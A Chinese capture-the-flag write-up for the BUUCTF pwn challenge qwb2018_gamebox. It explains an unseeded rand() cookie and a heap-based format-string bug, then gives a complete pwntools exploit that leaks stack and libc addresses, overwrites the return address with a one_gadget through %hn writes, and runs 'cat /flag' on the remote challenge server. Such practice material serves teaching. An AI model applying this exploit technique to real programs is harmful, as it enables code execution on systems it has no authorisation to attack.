[BUUCTF-pwn] qwb2018_gamebox

连着几个题都不成功。

这个题有两个小漏洞,先是个冒儿,就是要猜24个随机数。但是这里直接用rand()函数没有置种子。这个可以很容易解决,就是自己运行一下,跟他输出的是一样的。

  for ( i = 0; i <= 23; ++i )
    s[i] = rand() % 26 + 65;
  puts("Come on boy!Guess what I write:");
  for ( j = 0; j <= 31; ++j )
  {
    read(0, &buf, 1uLL);
    if ( buf <= 64 || buf > 90 )
      break;
    s1[j] = buf;
  }
  if ( !strcmp(s1, s) )
  {
    puts("You great prophet!");
    sub_152C(s);
  }
  else
  {
    puts("You loooooser!");
  }

因为每次建块都要用到一行,所以先用程序生成一堆备用。

#include <stdio.h>
#include <stdlib.h>
int main(){for (int i = 0; i < 24 *80; ++i )printf("%c",rand() % 26 + 65);}

第2个漏洞点在show,每次执行会把输入的内容printf(),只不过内容不在栈里,而是在堆里。

unsigned __int64 m2show()
{
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("=======RANK LIST=======");
  for ( i = 0; i <= 9; ++i )
  {
    if ( *((_QWORD *)&unk_203100 + 6 * i) )
    {
      putchar(i + 48);
      putchar(58);
      printf(*((const char **)&unk_203100 + 6 * i));
    }
  }
  puts("=======================");
  return __readfsqword(0x28u) ^ v2;
}

这里没有够长的rbp链只好用指向程序本身的找针,因为这个指针比较远(偏移41处)而且指的更远,所以先处理一下指针:

先作一次printf 把内存打印出来,找到对应的有用地址偏移8:rbp指向内存地址,12:对应程序加载地址,13:libc_start_main_ret,41:指向参数./pwn

这里15->41->几百,将来通过15改41让他指向16,方便gdb,然后再让16指向13这是ret的位置,把这里改成one_gadget,刚开始用pop_rdi+1,pop_rdi,bin_sh,system发现有时成功,有时会超时。

这种题改起来比较麻烦,最好的作法是先画好图,定好指针位置,再一步步作。

from pwn import *

elf = ELF('./pwn')
context.arch = 'amd64'

def connect():
    global p,libc_elf,one,libc_start_main_ret,local
    
    local = 0
    if local == 1:
        p = process('./pwn')
        libc_elf = ELF('/home/shi/pwn/libc6_2.27-3u1/lib64/libc-2.27.so')
        one = [0x4240e, 0x42462, 0xc4f7f, 0xe31fa, 0xe31ee]
        libc_start_main_ret = 0x21a87
    else:
        p = remote('node4.buuoj.cn', 25991) 
        libc_elf = ELF('../libc6_2.27-3ubuntu1_amd64.so')
        one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
        libc_start_main_ret = 0x21b97

menu = b"(E)xit\n"
def add(cookie, size, msg):
    p.sendlineafter(menu, b'P')
    p.sendlineafter(b"Come on boy!Guess what I write:", cookie.encode())
    p.sendlineafter(b"Input your name length:", str(size).encode())
    p.sendlineafter(b"Input your name:", msg.encode())

def change(idx, cookie, msg):
    p.sendlineafter(menu, b'C')
    p.sendlineafter(b"Input index:\n", str(idx).encode())
    p.sendlineafter(b"Input Cookie:\n", cookie.encode())
    p.sendlineafter(b"input your new name(no longer than old!):\n", msg.encode())

def free(idx):
    p.sendlineafter(menu, b'D')
    p.sendlineafter(b"Input index:", str(idx).encode())
    p.sendlineafter(b"Input Cookie:", codes[cidx].encode())

def show():
    p.sendlineafter(menu, b'S')

s = "NWLRBBMQBHCDARZOWKKYHIDDQSCDXRJMOWFRXSJYBLDBEFSARCBYNECDYGGXXPKLORELLNMPAPQFWKHOPKMCOQHNWNKUEWHSQMGBBUQCLJJIVSWMDKQTBXIXMVTRRBLJPTNSNFWZQFJMAFADRRWSOFSBCNUVQHFFBSAQXWPQCACEHCHZVFRKMLNOZJKPQPXRJXKITZYXACBHHKICQCOENDTOMFGDWDWFCGPXIQVKUYTDLCGDEWHTACIOHORDTQKVWCSGSPQOQMSBOAGUWNNYQXNZLGDGWPBTRWBLNSADEUGUUMOQCDRUBETOKYXHOACHWDVMXXRDRYXLMNDQTUKWAGMLEJUUKWCIBXUBUMENMEYATDRMYDIAJXLOGHIQFMZHLVIHJOUVSUYOYPAYULYEIMUOTEHZRIICFSKPGGKBBIPZZRZUCXAMLUDFYKGRUOWZGIOOOBPPLEQLWPHAPJNADQHDCNVWDTXJBMYPPPHAUXNSPUSGDHIIXQMBFJXJCVUDJSUYIBYEBMWSIQYOYGYXYMZEVYPZVJEGEBEOCFUFTSXDIXTIGSIEEHKCHZDFLILRJQFNXZTQRSVBSPKYHSENBPPKQTPDDBUOTBBQCWIVRFXJUJJDDNTGEIQVDGAIJVWCYAUBWEWPJVYGEHLJXEPBPIWUQZDZUBDUBZVAFSPQPQWUZIFWOVYDDWYVVBURCZMGYJGFDXVTNUNNESLSPLWUIUPFXLZBKNHKWPPANLTCFIRJCDDSOZOYVEGURFWCSFMOXEQMRJOWRGHWLKOBMEAHKGCCNAEHHSVEYMQPXHLRNUNYFDZRHBASJEUYGAFOUBUTPNIMUWFJQSJXVKQDORXXVRWCTDSNEOGVBPKXLPGDIRBFCRIQIFPGYNKRREFXSNVUCFTPWCTGTWMXNUPYCFGCUQUNUBLMOIITNCKLEFSZBEXRAMPETVHQNDDJEQVUYGPNKAZQFRPJVOAXDPCWMJOBMSKSKFOJNEWXGXNNOFWLTWJWNNVBWJCKDMEOUUZHYVHGVWUJBQXXPITCVOGRAIDDVHRRDSYCQHKLEEWHXTEMBAQWQWPQHSUEBNVFGVJWDVJJAFQZZXLCXDZNCQGJLAPOPKVXFGVICETCMKBLJOPGTQVVHBGSDVIVHESNKQXMWRQIDRVMHLUBBRYKTHEYENTMROBDEYQCRGLUAIIHVEIXWJJRQOPUBJGUXHXDIPFZWSWYBGFYLQVJZHARVRLYAUUZDRCNJKPHCLFFRKEECBPDIPUFHIDJCXJHRNXCXMJCXOHQANXDRMGZEBHNLMWPMHWDVTHSFQUEEEXGRUJIGSKMVRZGFWVRFTWAPDTUTPBZTYGNSRXAJJNGCOMIKJZSDWSSZNOVDRUYPCNJULKFUZMXNAFAMESPCKJCAZXDRTDGYRQSCCZYBNVQQCQCJITLVCNVBMASIDZGWRAATZZWPWMFBFJKNCVKELHHZJCHPDNLUNMPPNLGJZNKEWWUYSGEFONEXPMMSBAOPMDGZQMKQZXUVTQVNXBSLQZKGLZAMZPDNSJOLVYBWXXTTQOGNRBAIAKQLLSZKHFZCONNMOQKLPEEFSNSMOUWQHODSGCFOHESYSHMGXWTOAYUVNOJDJFTQTWKBAPRIUJIMQWSPSLGVLCSAQBDBGWTBSEETTWDNFNBYJVPDJXYUZQXSTATBZPCTTHOOFREMGFKRBCVKZVGBOFTHGOJHDNAYWPNBITORAAIBEDNEZWFPDAWLOHSSVTQTKFVSYLJZLUCQXSWYQDNTDMFRTZLQSEKEJHZKSKLFEPXCHVCZYSVDGCXBBISWMEAYLZIFKTMOIKSSFXTGPOJXQIYSRSQFWQDJQNQCGDQRNLLUIEAZVMWNUUFNNXVLOYVGMLIUQANDLYAVFAUAOSNLNVACSVPIUMOIAWCQXSWKQWGXYAZ"
codes = [s[i*24:i*24+24] for i in range(len(s)//24)]

cidx = -1
def getcodes():
    global cidx,old_cookie
    cidx +=1
    return codes[cidx]

'''
0056| 0x7ffff5e06bf0 --> 0x7ffff5e06c10 --> 0x55f82be8f940 (push   r15)                       #8
0064| 0x7ffff5e06bf8 --> 0x55f82be8f8af (movzx  eax,BYTE PTR [rbp-0x9])                       
0072| 0x7ffff5e06c00 --> 0x58007ffff5e06cf0 
0080| 0x7ffff5e06c08 --> 0x5cb703295bf72300 
0088| 0x7ffff5e06c10 --> 0x55f82be8f940 (push   r15)                                          #12
0096| 0x7ffff5e06c18 --> 0x7faa45465a87 (<__libc_start_main+231>:    mov    edi,eax)           #13
0104| 0x7ffff5e06c20 --> 0x0 
0112| 0x7ffff5e06c28 --> 0x7ffff5e06cf8 --> 0x7ffff5e0841c --> 0x4853006e77702f2e ('./pwn')   #15->41->./pwn
'''

def pwn():
    
    add(getcodes(), 30, '%8$p,%12$p,%13$p,%41$p,'.ljust(30,'Z')) #rbp,pwn+1940,libc+main_ret, ->./pwn
    show()
    p.recvuntil(b'0:')
    rbp = int(p.recvuntil(b',', drop=True), 16)
    pwn_base = int(p.recvuntil(b',', drop=True), 16) -0x1940
    libc_base = int(p.recvuntil(b',', drop=True), 16) - libc_start_main_ret
    arg0 = int(p.recvuntil(b',', drop=True), 16)
    print(f'rbp:{hex(rbp)},pwn:{hex(pwn_base)},libc:{hex(libc_base)}')
    
    libc_elf.address = libc_base
    free_hook = libc_elf.sym['__free_hook']
    system    = libc_elf.sym['system']
    pop_rdi   = next(libc_elf.search(asm('pop rdi;ret')))
    bin_sh    = next(libc_elf.search(b'/bin/sh'))
    one_gadget= libc_base + one[0]
    elf.address = pwn_base    
    free(0)
    
    #15->41->X ==> 15->41->16 
    offset = 16
    rbp_16 = rbp+0x20
    print(f'offset:{offset}')
    payload = f"%{(rbp_16) & 0xFFFF}c%15$hn"
    add(getcodes(), 30, payload)
    show()
    free(0)

    #15->41->16:_libc_start_main_ret
    p_ret = p64(rbp_16 - 0x18)
    for i in range(7,-1,-1):
        v = p_ret[i] #+ p_got_free[i+1]*0x100
        #15->41
        if ((rbp_16 +i)&0xff) == 0:
            payload = "%15$hhn"
        else:
            payload = f"%{(rbp_16+i)&0xff}c%15$hhn"
        add(getcodes(),30, payload)
        show()
        free(0)
        #41->X
        if v == 0:
            payload = "%41$hhn.x.x."
        else:
            payload = f"%{v}c%41$hhn.x.x."
        add(getcodes(),30, payload)
        show()
        free(0)

    #41->16->13:pop_rdi,bin_sh,system
    p_system = flat(one_gadget)
    for i,v in enumerate(p_system):
        #41++
        if ((rbp_16-0x18+i)&0xff) == 0:
            payload = "%41$hhn"
        else:
            payload = f"%{(rbp_16 -0x18 +i)&0xff}c%41$hhn"
        add(getcodes(),30, payload)
        show()
        free(0)

        #16->ret+
        if v == 0:
            payload = f"%16$hhn.x.x."
        else:
            payload = f"%{v}c%16$hhn.x.x."
        add(getcodes(),30, payload)
        show()
        free(0)

    #gdb.attach(p)
    #pause()
    p.sendlineafter(menu, b'E')
    context.log_level = 'debug'        
    p.sendline(b'cat /flag')    
    p.interactive()

connect()
pwn()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值